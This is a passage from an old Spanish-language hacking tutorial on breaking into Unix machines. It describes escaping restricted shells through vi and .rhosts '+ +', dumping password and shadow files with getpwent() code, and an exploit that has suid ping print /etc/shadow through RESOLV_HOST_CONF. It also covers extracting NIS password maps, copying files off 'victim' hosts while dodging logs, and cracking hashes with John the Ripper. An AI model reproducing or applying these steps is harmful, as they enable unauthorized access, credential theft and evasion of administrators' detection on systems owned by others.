La idea es que una vez que tenemos una cuenta shell en un sitio y la shell esta muy restringida y no podemos hacer nada ( hay veces que ni siquiera te deja cambiar de directorio, ni ejecutar el gcc ni nada) hemos de buscar alguna manera de tener una cuenta un poco mas decente.

 

Algunas veces, la solucion es probar con el login y el password de la shell pero entrando por otros puertos como el ftp, rlogin, etc. y gracias a dios algunas veces se obtienen cuentas con mejores prestaciones que la anterior. Puedes escribir un + + en el archivo .rhosts y hacer un rlogin, etc...otras veces, entrando por el ftp podemos sobreescribir algun archivo que sea el que nos esta activando las restricciones... queda bastante claro no? :)

 

Asi ya podemos intentar pillar el archivo de passwd o ejecutar algun xploit para pillar otras cuentas o el rOOt.

 

Otro metodo que a veces funciona, dependiendo de como se ha hecho esa shell restringida (si esta bastante mal hecha) es el rulando un programa que interactua con el shell como por ejemplo el vi:

 

:set shell=/bin/sh

 

y luego..

 

:shell

 

Otro sistema ke puede funcionar, si tienes una cuenta para mail es tocar el .pinerc... es decir, bajarlo por ftp, tocarlo en tu maquina y volverlo a subir.

 

 

Si la cuenta no es muy restringida y deja correr el gcc, se puede compilar algun programa en c que te deje acceder al archivo de passwd aunque no tengas acceso a ese directorio. En la seccion de passwd y como cogerlos hay programas de este tipo.

 

En fin, son metodos un poco cutres pero a veces funcionan. Ademas, en general lo que se ha de hacer es examinar las variables de entorno que tenemos en la shell y pensar si de alguna manera podemos inhabilitar las restricciones aunque para esto se necesita tener un poco claro el unix.

 

 

6.- CRACKEAR PASSWORDS EN MAQUINAS UNIX

 

 

Suponiendo que con alguna de las tecnicas expuestas en el apartado anterior, hemos conseguido el famoso archivo /etc/passwd, ahora hay que obtener los passwd desencriptados.

 

 

6.1.- Introduccion y algoritmo de cifrado.

 

En los sistemas Unix, los logins y los passwords suelen estar en el archivo /etc/passwd ( a no ser que esten shadow ).

 

En estos archivos, el login es visible y el password esta encriptado por lo que tienen una forma como la que se muestra a continuacion:

 

 

root:21gCqQc/zPWgU:0:0:Super-User:/:/bin/csh

sysadm:*:0:0:System V Administration:/usr/admin:/bin/sh

diag:*:0:996:Hardware Diagnostics:/usr/diags:/bin/csh

daemon:*:1:1:daemons:/:/dev/null

bin:*:2:2:System Tools Owner:/bin:/dev/null

uucp:*:3:5:UUCP Owner:/usr/lib/uucp:/bin/csh

sys:*:4:0:System Activity Owner:/var/adm:/bin/sh

adm:*:5:3:Accounting Files Owner:/var/adm:/bin/sh

lp::9:9:Print Spooler Owner:/var/spool/lp:/bin/sh

nuucp::10:10:Remote UUCP User:/var/spool/uucppublic:/usr/lib/uucp/uucico

auditor:*:11:0:Audit Activity Owner:/auditor:/bin/sh

dbadmin:*:12:0:Security Database Owner:/dbadmin:/bin/sh

rfindd:*:66:1:Rfind Daemon and Fsdump:/var/rfindd:/bin/sh

guest:zpB5nSLLjDOx2:998:998:Guest Account:/usr/people/guest:/bin/csh

4Dgifts::999:998:4Dgifts Account:/usr/people/4Dgifts:/bin/csh

will:5fg63fhD3d5gh:9406:12:Will Spencer:/home/fsg/will:/bin/bash

 

 

Donde cada campo viene separado por : y en los que el significado de cada campo es:

 

Login: will

Password encriptado: 5fg63fhD3d5gh

Numero de identificacion del usuario (UID): 9406

Numero de identificacion del grupo al que pertenece (GID): 12

Nombre real: Will Spencer

Directorio Home: /home/fsg/will

Tipo de shell: /bin/bash

 

 

En algunas lineas, el campo password es "*". Este password encriptado es invalido, o sea, no se corresponde con ningun password; por tanto, las cuentas que tienen alguna "*" en el campo password son cuentas a las que no se podra entrar y que son usadas por el sistema operativo.

 

Si en el archivo de pass en el lugar del password aparece :: quiere decir que esa cuenta no tiene password, por lo que al introducir el login entras directamente.

 

Respecto a la cadena de uid ( user identification) el "0" corresponde al rOOt. Igualmente, si hay otros users con uid=0, estos usuarios son rOOt a todos los efectos, o sea, tienen los mismos derechos que el rOOt ( nota para el que vaya un poco perdido, el rOOt es la persona que tiene un poder absoluto sobre el sistema pudiendo hacer todo lo que le plazca). Muchas veces solo habra un user con id 0 pero a veces hay varios con lo que se facilita el trabajo :o)

 

Los usuarios que sin tener el uid=0 tienen el mismo gid que el rOOt, tambien tienen algunos privilegios por el hecho de pertenecer al grupo del rOOt. Igualmente, hay que observar los uid y los gid de otros personajes particulares del sistema como wwwadmin, admin, www, bin , etc.

 

La siguiente cadena indica el directorio home, es decir al directorio que entraras cuando entres a esa maquina. La ultima cadena indica el shell que usaras por defecto cuando entres... hay varios tipos de shell.. sh, csh... pero eso se comenta en cualquier sitio que hable sobre unix por lo que para remitiros a las diferencias lo puedes mirar alli.

 

Vamos a hablar un poco sobre el algoritmo de cifrado:

 

El algoritmo de cifrado es el llamado DES, el cual era un algoritmo practicamente indescifrable cuando se ideo, pero que con el paso del tiempo y la tremenda evolucion de la tecnologia, cada dia se hace mas posible su desencriptado, dada la velocidad de los computadores actuales.

 

Es casi imposible volver hacia atras a partir de un password para obtener la palabra original. La unica forma que se conoce de romper DES es a fuerza bruta, cosa que se consiguio a principios de 1997 en internet, con maquinas distribuidas (lo mismo que ahora intentan con RC5). Tardaron 4 meses en romperlo, y eso que tuvieron suerte y solo tuvieron que probar una pequeña parte de todas las posibles claves.

 

Otro aspecto a destacar es la existencia del password aging, es decir que los password caducan. Esto es importante conocerlo ya que si los passwords se renuevan habitualmente, tendremos que acelerar nuestras acciones si no queremos que tras haber crackeado el archivo passwd, estos passwords ya hayan sido cambiados :o(

 

Si existe el password aging, en el archivo de passwords las entradas seran del tipo:

 

Pepe:cualquier,43:34:3:Pepe perez:/home/pepe

 

El formato es del tipo passwd,Mmww donde M es el maximo numero de semanas que pueden pasar hasta que el password sea cambiado y m es el minimo intervalo en el que puede ser cambiado mientras que ww indica cuando fue la ultima vez que se cambio el password.

 

La relacion entre M, m y el numero real de semanas es:

 

Caracter Numero de semanas

. 0

/ 1

0-9 2-11

A-Z 12-37

a-z 38-63

 

Asi, en el ejemplo de Pepe, el password contiene la extension ,43 que quiere decir que debe ser cambiado antes de 6 semanas ( ya que el 0 corresponde al 2) y que debe permanecer al menos 3.

 

Entonces la pregunta es.. si es casi imposible desencriptarlos.. ¿que hace unix/linux para leer el archivo cuando entras al sistema??. Simplemente lo que hace es leer el login y el passwd que introduces por el teclado, los encripta y si coinciden con los correspondientes en el archivo /etc/passwd ya estas dentro!!!

 

Por tanto, la forma de atacar un archivo de passwords de Unix es precisamente la misma que usa el sistema operativo para verificar un password: encriptar muuuuchas palabras y comprobar cada una de ellas si coincide con el password encriptado. Si coincide, ya tenemos un password, y si no, probamos la siguiente palabra. Para hacer esto necesitamos tres cosas: una lista de palabras a probar, una lista con los passwords encriptados y un programa que haga las pruebas.

 

 

6.2.- Conseguir el archivo de passwd estando dentro de la maquina

 

 

6.2.1.- Introduccion

 

 

Siempre que se tenga una cuenta en un sistema, deberas entrar en el para pillar el famoso archivo de passwd sobre todo si esa cuenta te la ha pasado otro hacker ya que el root puede darse cuenta que esa cuenta es peligrosa para sus intereses y cerrarla.

 

Igualmente, antes de ir a pillarlo, haced un who para ver si esta el root.. aunque muchas veces aparece el root y realmente no esta ya que es facil hacer esto por lo que cada uno que vea lo que hace en estos casos aunque con un poco de sentido comun es sencilla la determinacion a tomar.

 

Asi, si tenes el archivo de passwd tendres muchisimas cuentas y te dara lo mismo que cierren la cuenta con la que entrastes en principio aunque esto realmente no es asi por lo que no lo tomes muy al pie de la letra ya que un root que se de cuenta de que tiene un hacker rondando ( si el root controla el tema) siempre tiene las de ganar en esta batalla :(

 

Ademas, es conveniente cambiar de cuentas para entrar al sistema ya que como se comentara mas adelante parte de lo que hagan en un sistema UNIX se queda en los archivos de logs por lo que si no conseguis root y borran estos logs, vuestras huellas estaran ahi y nada mas que el root tenga algo de interes por la seguridad vera que ha habido un tio haciendo cosas inusuales, pero todo esto ya es otro cantar que ya se hablara mas adelante.

 

El resumen de los anteriores parrafos es que lo mejor es una vez con una cuenta en el sistema, pillar el archivo de passwords y luego hacerse root y borrar todas las huellas... el problema es que no siempre todo esto es tan sencillo :(

 

En fin, suponemos que hemos conseguido una cuenta por alguno de los metodos anteriores, asi, si la cuenta no es muy restringida siempre puedes hacer un "cat /etc/passwd". Si no tienen Shadow Passwords o NIS aparecera una lista como la que habes visto al principio. Sino, aparecera algo similar a esto:

 

 

root:21gCqQc/zPWgU:0:0:Super-User:/:/bin/csh

sysadm:*:0:0:System V Administration:/usr/admin:/bin/sh

diag:*:0:996:Hardware Diagnostics:/usr/diags:/bin/csh

daemon:*:1:1:daemons:/:/dev/null

bin:*:2:2:System Tools Owner:/bin:/dev/null

uucp:*:3:5:UUCP Owner:/usr/lib/uucp:/bin/csh

sys:*:4:0:System Activity Owner:/var/adm:/bin/sh

adm:*:5:3:Accounting Files Owner:/var/adm:/bin/sh

lp::9:9:Print Spooler Owner:/var/spool/lp:/bin/sh

nuucp::10:10:Remote UUCP User:/var/spool/uucppublic:/usr/lib/uucp/uucico

auditor:*:11:0:Audit Activity Owner:/auditor:/bin/sh

dbadmin:*:12:0:Security Database Owner:/dbadmin:/bin/sh

rfindd:*:66:1:Rfind Daemon and Fsdump:/var/rfindd:/bin/sh

guest:zpB5nSLLjDOx2:998:998:Guest Account:/usr/people/guest:/bin/csh

4Dgifts::999:998:4Dgifts Account:/usr/people/4Dgifts:/bin/csh

will:5fg63fhD3d5gh:9406:12:Will Spencer:/home/fsg/will:/bin/bash

 

 

Aunque el problema que se puede dar en muchos de estos sistemas, el directorio que contiene el archivo passwd (este o no este shadow) no es de acceso a usuarios que no sean root, por lo que en principio no conseguiremos ver su contenido, pero eso se hara posible gracias a sucesivas llamadas a getpwent(). Debemos nombrar este archivo como getpass y direccionar su salida a un archivo tal como sigue:

 

cc cogerPass.cc -o cogerPass > archivo

 

---------------------------------------Cortar a partir de aqui------------------

#include <iostream.h>

#include <pwd.h>

 

 

struct passwd *pw;

 

 

main()

{

  while ((pw = getpwent()) != NULL)

  {

  cout << pw->pw_name;

  cout << ":" << pw->pw_passwd;

  cout << ":" << pw->pw_uid;

  cout << ":" << pw->pw_gid;

  cout << ":" << pw->pw_gecos;

  cout << ":" << pw->pw_dir;

  cout << ":" << pw->pw_shell << endl;

  }

 

  endpwent();

}

------------------------------------- hasta aqui -------------------------------------

 

y tendras el archivo de passwd renombrado con el nombre archivo con lo que ya puedes hacer lo que queran con el. Se te ocurre algo ¿?? XDD

 

 

6.2.2.- PASSWORD SHADOWING

 

 

En todo el texto nos hemos referido a este concepto sin explicar lo que es. Posiblemente lo tendria que haber comentado antes, pero espero que quien lea se leera todo el texto antes de hacer nada. En fin, no me enrollo, password shadowing consiste en un sistema de seguridad en el cual en el archivo etc/passwd no estan los archivos encriptados, sino que habra algo del tipo:

 

root:x:0:0:root:/root:/bin/bash

bin:x:1:1:bin:/bin:

daemon:x:2:2:daemon:/sbin:

adm:x:3:4:adm:/var/adm:

lp:x:4:7:lp:/var/spool/lpd:

sync:x:5:0:sync:/sbin:/bin/sync

shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown

halt:x:7:0:halt:/sbin:/sbin/halt

mail:x:8:12:mail:/var/spool/mail:

news:x:9:13:news:/usr/lib/news:

uucp:x:10:14:uucp:/var/spool/uucppublic:

operator:x:11:0:operator:/root:/bin/bash

games:x:12:100:games:/usr/games:

man:x:13:15:man:/usr/man:

postmaster:x:14:12:postmaster:/var/spool/mail:/bin/bash

nobody:x:-2:100:nobody:/dev/null:

ftp:x:404:1::/home/ftp:/bin/bash

guest:x:405:100:guest:/dev/null:/dev/null

bhilton:x:501:100:Bob Hilton:/home/bhilton:/bin/bash

web:x:502:100:Web Master:/home/web:/bin/bash

mary:x:503:100:Mary C. Hilton:/home/mary:/bin/bash

 

En los que como se puede observar, los passwd encriptados han sido sustituidos por una x aunque podria ser un * u otros simbolos. En este tipo de sistemas de seguridad, el verdadero archivo de passwd esta en un archivo que no es el /etc/passwd, pero el problema es que ese archivo no es accesible para todo el mundo, sino que es de solo lectura por el root por lo que si eres un usuario normal, no podras leerlo en principio.

 

A continuacion se muestra en que directorio puede estar el archivo shadow en los sistemas operativos mas usuales (obtenida de FAQ 2600):

 

Para determinar el tipo de unix que corre, usa uname -a cuando estes ya dentro de la maquina, aunque se puede ver con un telnet u otros metodos.

 

Unix Path Token

-----------------------------------------------------------------

AIX 3 /etc/security/passwd !

  or /tcb/auth/files/<first letter #

  of username>/<username>

A/UX 3.0s /tcb/files/auth/?/*

BSD4.3-Reno /etc/master.passwd *

ConvexOS 10 /etc/shadpw *

ConvexOS 11 /etc/shadow *

DG/UX /etc/tcb/aa/user/ *

EP/IX /etc/shadow x

HP-UX /.secure/etc/passwd *

IRIX 5 /etc/shadow x

Linux 1.1 /etc/shadow *

OSF/1 /etc/passwd[.dir|.pag] *

SCO Unix #.2.x /tcb/auth/files/<first letter *

  of username>/<username>

SunOS4.1+c2 /etc/security/passwd.adjunct ##username

SunOS 5.0 /etc/shadow

  <optional NIS+ private secure maps/tables/whatever>

System V Release 4.0 /etc/shadow x

System V Release 4.2 /etc/security/* database

Ultrix 4 /etc/auth[.dir|.pag] *

UNICOS /etc/udb *

 

 

Una manera de conseguir el archivo de passwd si esta shadow y si usa libc 5.4.7 ( algunos aun la usan) es aprovechar que algunos comandos como ping, traceroute, rlogin y ssh estan suid por lo que se podra explotar como sigue:

 

Ejecutas bash o sh

Export RESOLV_HOST_CONF=/etc/shadow ( o el archivo en el que este dependiendo del sistema operativo)

Ping asdf

 

Y si no ha fallado nada te imprimira el shadow jeje. Con este metodo se pueden hacer mas kosas... pero es tan obvio que lo omito okis? jeje

 

 

6.2.3.- NIS

 

 

Otro concepto que se ha comentado a lo largo del texto es el de NIS por lo que a continuacion explico un poco lo que es.

 

NIS (Network Information System) es un protocolo de nivel de aplicacion muy util para la gestion de configuraciones cliente/servidor en sistemas UNIX. Anteriormente era conocido como Yellow Pages y es un sistema de bases de datos distribuidas que proporcionan un metodo uniforme para el almacenamiento y de recuperacion de la informacion sobre los recursos de red. En lugar de gestionar archivos como /etc/host /etc/passwd,/etc/group independientemente en cada maquina de la red, este sistema posibilita que solo haya una base de datos compartida por el resto de las maquinas clientes en un servidor central.

 

En fin, tras este rollo te preguntaras y que mas nos da esto del NIS??, pues bien, es que una de la informacion ( mapas) que es compartida son los famosos archivos de password que nosotros buscamos jeje.

 

Asi, si estas dentro de una maquina con NIS y te sale algo que parece un shadow en el archivo /etc/passwd posiblemente haya un NIS. Esto se puede identificar como se ha comentado, mirando la ultima linea del archivo de passwd y si es algo del tipo "+::0:0:::" o mirando los procesos del sistema, ya que el NIS siempre tendra corriendo ypserv y algunos procesos mas que empiezan por yp, es decir, yp*. Bien, si ya tienes claro que corre NIS, lo que tienes que intentar es usar el ypcat tal como sigue:

 

ypcat /etc/passwd > ~/passwd

 

y bajate el archivo passwd de tu directorio HOME usando FTP o como quieras. Mas adelante se comentaran varios metodos.

 

En caso de que no tengan privilegios para ejecutar el "ypcat", o en caso de que el "ypcat" no este o por si acaso lo que aparece al ejecutar el "ypcat" vuelve a ser basura otra vez, tendres que recurrir a otros programas para obtener los passwords como por ejemplo el pwget que tambien es usado para pillar shadows:

 

 

 

Una vez lo tenes en la maquina objetivo, lo compilan con “cc -o pwget pwget.c", y ejecutarlo ("./pwget"), con lo que obtendras por pantalla la lista de passwords. Si queres la lista en un archivo, solo tenes que redireccionar la salida de la pantalla a un archivo:

 

$ ./pwget > archivo

 

Ahora adjunto otro programita que siempre es bueno tenerlo a mano por si el pwget da alguna pega o algo y que sirve para obtener los password shadow es el siguiente.

 

Su uso es gcc shadow.c -o shadow o cc shadow.c -o shadow y luego ./shadowpw >> password. Asi obtenendremos el archivo de passwd en el archivo password.

 

------------------------------------------CUT HERE-------------------------------------------------

/* This source will/should print out SHADOWPW passwd files. */

 

 struct SHADOWPW { /* see getpwent(3) */

  char *pw_name;

  char *pw_passwd;

  int pw_uid;

  int pw_gid;

  int pw_quota;

  char *pw_comment;

  char *pw_gecos;

  char *pw_dir;

  char *pw_shell;

 };

 struct passwd *getpwent(), *getpwuid(), *getpwnam();

 

 #ifdef elxsis?

 

 /* Name of the shadow password file. Contains password and aging info */

 

 #define SHADOWPW "/etc/shadowpw"

 #define SHADOWPW_PAG "/etc/shadowpw.pag"

 #define SHADOWPW_DIR "/etc/shadowpw.dir"

 /*

  * Shadow password file pwd->pw_gecos field contains:

  *

  * <type>,<period>,<last_time>,<old_time>,<old_password>

  *

  * <type> = Type of password criteria to enforce (type int).

  * BSD_CRIT (0), normal BSD.

  * STR_CRIT (1), strong passwords.

  * <period> = Password aging period (type long).

  * 0, no aging.

  * else, number of seconds in aging period.

  * <last_time> = Time (seconds from epoch) of the last password

  * change (type long).

  * 0, never changed.n

  * <old_time> = Time (seconds from epoch) that the current password

  * was made the <old_password> (type long).

  * 0, never changed.ewromsinm

  * <old_password> = Password (encrypted) saved for an aging <period> to

  * prevent reuse during that period (type char [20]).

  * "*******", no <old_password>.

  */

 

 /* number of tries to change an aged password */

 

 #define CHANGE_TRIES 3

 

 /* program to execute to change passwords */

 

 #define PASSWD_PROG "/bin/passwd"

 

 /* Name of the password aging exempt user names and max number of entires */

 

 #define EXEMPTPW "/etc/exemptpw"

 #define MAX_EXEMPT 100

 

 /* Password criteria to enforce */

 

 #define BSD_CRIT 0 /* Normal BSD password criteria */

 #define STR_CRIT 1 /* Strong password criteria */

 #define MAX_CRIT 1

 #endif elxsi

 #define NULL 0

 main()

 {

struct passwd *p;

int i;

for (;1;) {;

  p=getpwent();

  if (p==NULL) return;

  printpw(p);

}

 }

 

 printpw(a)

 struct SHADOWPW *a;

 {

printf("%s:%s:%d:%d:%s:%s:%s\n",

  a->pw_name,a->pw_passwd,a->pw_uid,a->pw_gid,

  a->pw_gecos,a->pw_dir,a->pw_shell);

 }

 

 /* SunOS 5.0 /etc/shadow */

 /* SunOS4.1+c2 /etc/security/passwd.adjunct */

------------------------------------------CUT HERE-------------------------------------------------

 

 

Ademas existe un programa llamado YPX que sirve para extraer estos mapas (incluido el archivo passwd, donde estan incluidos todos las passwords de los usuarios) de un servidor de NIS aunque la maquina en la que estemos no sea una maquina cliente. Para conseguirlo buscalo en la red en cualquier buscador o posiblemente este en el web de donde te bajes este texto :o). Hay otros programas de ese estilo como ypsnarf, etc.

 

Su uso es muy sencillo ya que solo tienes que hacer:

 

ypx -m passwd nombre_dominio_nis

 

Ademas, tened en cuenta las importantes ventajas que tiene el tener una cuenta en un sistema con nis.. creo que no hace falta que te lo explique tras el rollo que ya he contado no?.. si alguno no lo tiene claro que se relea el texto jeje.

 

 

6.3.- DISTINTOS METODOS PARA BAJAROS EL archivo DE PASSWD UNA VEZ LO TIENES BAJO CONTROL

 

 

Una vez tenemos el archivo de passwd en un archivo mas o menos bajo nuestro control, es decir que ya hemos pillado el shadow o tenemos acceso directamente al passwd, hemos de bajar esa informacion a nuestra maquina.

 

Hay varios sistemas:

 

1.- Usar el ftp, corriendo el ftp en la maquina delante de la que tu estas sentado y usar el get para pillar el archivo de passwd. Este sera el metodo usual pero en algunos casos esto no sera posible debido a algun metodo de seguridad. Una variante de esto es configurar en tu maquina el ftp y usar el ftp desde la maquina victima y hacer un put (para subir el archivo) a tu maquina desde la maquina victima. Tambien tenes que tener en cuenta que el ftp tiene un archivo de logs adicional por lo que tendras que tenerlo en cuenta. Un consejo para este caso puede ser hacer un cat passwd > cualquiera y luego bajar el archivo “cualquiera” y asi en los logs no queda registrado que te bajaste el archico passwd.

 

2.- Si el archivo de passwd no es muy grande, podemos abrir una ventana en nuestra maquina local y usar el copiar y pegar entre la ventana que tienes en la maquina victima y la ventana que tenemos en nuestra maquina. Es un poco cutre pero funciona :o). Por si alguien no lo sabe, en linux se copia con el boton izquierdo del raton y se pega con el central o pulsando los dos (izquierdo y derecho) a la vez dependiendo de la configuracion. Este metodo es cutre pero no da tanto el cante ya que en los logs solo aparece un cat y no aparece que te has bajado el /etc/passwd por ftp ¡!

 

3.- Usar el Kermit

 

Para bajar el archivo via Kermit o Zmodem necesitaras que vuestro programa de telnet soporte esos protocolos y que la maquina Unix en la que estan tambien los soporte (o sea, tenga los programas instalados). El programa de Kermit suele estar en casi todos los sitios:

 

$ kermit

kermit> set file type ascii (o "text", segun las maquinas)

kermit> set send pack 1000

kermit> set rec pack 1000

kermit> set file type 2 (o 3, como queran)

kermit> send archivo

 

... Download->Kermit

 

CTRL+C

 

kermit> quit

$

 

 

4.- Usar el ZModem/Ymodem/Xmodem.

 

Podras usar este sistema en caso de tenerlo instalado:

 

$ sz archivo

 

... Download->ZModem

 

$

 

5.- Usar el mail aunque solo se debe hacer si la cuenta esta restringida al mail o tenes algun problema extraño se puede usar como ultimo recurso maileando el passwd desde la maquina victima a una cuenta de correo tuya... tiene la ventaja de que no es nada sospechoso ya que es usual que la gente use el mail :)... es bastante menos sospechoso ke el ftp :). Esto tambien suele quedar en algun archivo de logs.

 

Como ves, estos metodos hay algunos muy chapuceros, pero cuando estas en una maquina y estas un poco desesperado se hace lo que haga falta jeje.

 

 

6.4.- COMO SE CRACKEAN

 

 

Una vez obtenido el archivo passwd y teniendolo en nuestra maquina, ahora se ha de comentar como se pueden sacar los password y los login.

 

Como hemos visto, no podemos descifrar un password, pero si que podemos cifrar palabras con todos los salt posibles y compararlas con la que ya tenemos cifrada. El tema es que palabras usamos para encriptarlas y comparar... pues bien se pueden hacer varias cosas, usar listas de palabras ya hechas o haceros vosotros una. A estas listas de palabras son lo que se denominan los famosos diccionarios.

 

Si optas por pillar diccionarios ya hechos.. hay sites que contienen muchas wordlists ( diccionarios) en casi cualquier idioma que te puedas imaginar. Los sites mas conocidos para estos fines son:

 

<ftp://sun.rediris.es/mirror/sable/wordlists/>

http://sunshine.sunshine.ro/FUN/Word_lists/

ftp://ftp.warwick.ac.uk/pub/cud/

ftp://sable.ox.ac.uk/pub/wordlists/

 

Si prefieres hacerte uno... (es lo que te aconsejo) simplemente te pones delante del teclado y pones todas las palabras que se te ocurran. El problema de esto es que el diccionario esta restringido a tus conocimientos o aficiones.. por ejemplo, si no te gusta el futbol tienes un problema ya que mucha gente pone como password nombres de futbolistas, nombre del novio, de la novia, insultos, libros, su apellido, etc. Por ejemplo en el mio he puesto las plantillas de los equipos de futbol mas importantes, lista de ciudades, listas de apellidos y nombres ,etc.

Otra cosa es que muchas veces coincide el login con el password pero si usan el john the ripper, esto lo saca el con la opcion -single.

 

Ademas, te puedes ayudar por medio de algun programa para extraer todas las palabras de un archivo o utilidades que hay en la red para modificar listas de palabras.. pero eso es otro cantar.

 

 

6.5.- Que crackeador de password usar.

 

 

Ahora que ya tenes la lista de passwords y unas cuantas listas de palabras falta un programa que encripte las palabras y las compare con los passwords encriptados del archivo de passwords. Para ello hay muchos programas que puedes usar. Ahora comentare brevemente las caracteristicas de los programas (y sus nombres, para que los podan buscar por la red), pero antes quiero dar algunos truquillos para que consigan passwords en menos tiempo.

 

Elimina del archivo de passwords todas las lineas cuyo password sea invalido ("*", "*NOPASSWORD*", etc)

 

Ordenad las lineas del archivo de password por los dos primeros caracteres del password encriptado. Algunos de los programas que comento ya hacen esto al cargar el archivo de password, pero algunos no lo hacen. Con estos dos pasos te puedes ahorrar bastante tiempo si usas estos petadores.

 

Aquellos usuarios que tienen el campo de password vacio (user1::101:1:Manolito:/usr/user1:/bin/sh) no tienen password, asi que son una cuenta que puedes eliminar del archivo, ya que no te hace falta petar el password para entrar.

 

Petadores:

 

Cracker Jack 1.4 (JACK14*.*, CJACK. Esta en practicamente cualquier site de internet dedicado al hacking. Funciona para DOS y para OS/2, y es bastante rapido. Incluye en el mismo paquete varias utilidades para tratar listas de palabras.

 

Brute 2.00 (BRUTE*.*) Otro petador bastante popular pese a su lentitud. Creo que existe otra version mas rapida, pero usa un algoritmo de encriptacion que no es del todo correcto (aunque es mas rapido), y no pilla todos los passwords que debiera. No he podido localizar ninguna copia de esa version asi que no la he podido probar. Funciona para DOS.

StarCrack 0.64ß (STARCRAK*.*) Este es un petador con multitud de opciones, que permite manipular palabras mientras se prueban. Es mas rapido que el Cracker Jack, funciona para DOS y es muy completo. Es bastante nuevo, y ademas es una Beta, o sea que supongo que pronto saldra alguna version mejorada... :-? Es bastante completo y permite hacer de todo

Esta es la homepage del StarCrack: <http://www.chez.com/thes/starcrak.html>

 

Hades 1.00a (HADES*.*) Otro petador para DOS. Este hace las pruebas de una forma distinta al resto de petadores. En vez de encriptar una palabra y comparar con los passwords de todos los usuarios, prueba de encriptar todas las palabras y compara cada palabra con el password de un usuario. Una vez ha acabado con un usuario, prueba lo mismo con otro. Debido a esta forma de actuar, realiza mucha entrada/salida de disco, lo cual ralentiza el proceso. Sus prestaciones mejoran notablemente si ordenamos el archivo de passwords por el campo password encriptado, ya que asi prueba varios usuarios a la vez. Tambien se puede mejorar su rendimiento teniendo todas las listas (palabras y passwords) en un disco virtual en memoria.

 

Guess 2.1 (GUESS*.*) Petador para DOS, extremadamente lento. Tiene problemas de memoria si se intenta usar con archivos de passwords de mas de 1000 lineas.

 

PCUPC 2.01 (PCUPC*.*) Otro petador para DOS. Este tiene problemas de memoria si se intenta usar con archivos de passwords de mas de 600/700 lineas.

 

Killer Cracker 9.5 (DJKC95*.*, KC*.*) Al igual que el Guess, es un petador para DOS bastante lento y que da problemas si se usa con archivos de passwords de mas de 1000 lineas.

 

Xit 2.0 (XIT20*.*) Petador para DOS. Es lo mas lento que me he encontrado. Como su nombre indica, es una shit! :-)

 

HellFire Cracker 1.3 (HC130*.*) Petador para DOS. Necesita 386 con coprocesador para funcionar, pero por algun extraño motivo se cuelga en mi pentium y en mi 486, asi que no te puedo decir que tal este. Quizas si tienes un 386 lo puedes usar con exito. El programa incluye un emulador de 387 por si no tienes coprocesador. De todas formas, es un programa muy antiguo que seguramente no sera muy rapido.

 

John the ripper 1.4 (UCFJOHN3*.*) Petador para DOS/Win32/Linux y cualquier otra cosa, ya que viene con las fuentes. Funciona de una forma muy similar al Cracker Jack pero incluye mas opciones y es bastante mas rapido. No tiene tantas opciones como el Star Crack, pero es bastante mas rapido. Ademas permite un monton de opciones para tratar las listas de palabras que usan...

Esta es la homepage del John the Ripper: <http://www.false.com/security/john/>

 

Aqui tenes una comparativa de estos petadores, en la misma maquina y con los mismos archivos de passwords y de palabras. Algunos de ellos tardaban demasiado, y aborte el proceso de petar passwords. En estos casos, calcule el tiempo estimado que tardarian en acabar en funcion del tiempo que llevaban (1 hora) y las palabras que habian provado hasta el momento. Estos son los resultados, ordenados por velocidad:

 

Cracker Tiempo Comparaciones por Segundo Observaciones

John the ripper 1.4 6'15'' 26667c/s .

John the ripper 1.31 6'30'' 25641c/s .

John the ripper 1.0 8'05'' 20619c/s .

Star Crack 0.64ß 9'15'' 18018c/s .

Star Crack 0.51ß 11'25'' 14599c/s .

Cracker Jack 1.4 13'33'' 12300c/s .

Cracker Jack 1.3 386 14'55'' 11173c/s .

Cracker Jack 1.3 8086 22'22'' 7452c/s .

Hades 1.00a 47'05'' 3540c/s .

Brute 2.00 (est)59'54'' 2782c/s .

PCUPC 2.01 (est)135'37'' 1229c/s Solo soporta archivos de passwords de menos de 500 lineas.

Guess 2.1 (est)141'58'' 1174c/s Solo soporta archivos de passwords de menos de 1000 lineas.

Killer Cracker 9.5 (est)151'12'' 1105c/s Solo soporta archivos de passwords de menos de 1000 lineas.

Xit 2.0 (est)195'37'' 852c/s .

Hellfire Cracker 1.3 infinito 0c/s Se colgo y no pudo ser probado.

 

Este test fue realizado en un Pentium 133, con 16 Mb de RAM, con los datos en el disco duro, con una cache de lectura de 2 Mb y sin hacer ningun preprocesado en el archivo de passwords ni en el de palabras. El archivo de palabras contenia 10000 palabras y el de passwords 1000 passwords. Tenian que encontrar 554 passwords.

 

Algunos de ellos no los deje acabar ya que tardaban demasiado y estime el tiempo en funcion de lo que habian crackeado hasta el momento de pararlos, por lo tanto no se si hubieran encontrado todos los passwords. Solo los he incluido en la comparativa por si alguno de vosotros los usa, para que vea que hay cosas mejores.

 

Como se puede ver, el John the ripper encripta casi el doble de passwords por segundo que el Cracker Jack. He de reconocer que el archivo con el que hize la prueba parece ser especialmente adecuado para el John the ripper, ya que 20000c/s no se consiguen habitualmente. De todas formas, la comparativa es significativa de la velocidad a la que se petan passwords con cada uno de los programas.

 

Una cosa que me gustaria puntualizar es que aunque el password del root se puede sacar con este metodo de fuerza bruta, no es demasiado aconsejable y solo se debe usar para casos in extremis. Esto es asi porque si el root tiene algo de idea de esto, tendra un passwd un poco raro y no lo podras sacar facilmente a no ser que pongan el john en modo incremental ( y esto es una locura tal como se comentara mas adelante).

 

Otra historia es si tenes a mano una maquina de donde podan colgar el proceso con lo que lo puedes colgar de alli y que trabaje el (el problema es que consume mucha CPU por lo que como el root vea los procesos te pillaran, lo mataran y encima estara bajo aviso) por lo que a no ser que tengas acceso a una maquina que sepas que el root no esta muy al loro, no uses este metodo, pero buscando y con un poco de suerte al final encontraras una maquina con estas caracteristicas.

 

Para usar el john the ripper suponiendo que el archivo de passwords se llama passwd se haria:

 

John -single passwd ------ Asi saca los passwd mas sencillos

John -wordfile:nombrediccionario -rules passwd -:Para emplear un diccionario

John -wordfile:nombrediccionario -rules -users:0 passwd -:Para emplear un diccionario para sacar el root.

Este programa ofrece muchisimas posibilidades por lo que para mas informacion leerse los docs que se adjuntan con el propio john the ripper.

 

 

7.- CONSEGUIR ACCESO DE ROOT

En esta seccion voy a explicar tres metodos para conseguir root aunque hay algunos mas que quiza adjunte en posteriores ediciones. Los que voy a explicar aqui son la fuerza bruta, los xploits para pillar root y troyanos.

7.1.- FUERZA BRUTA

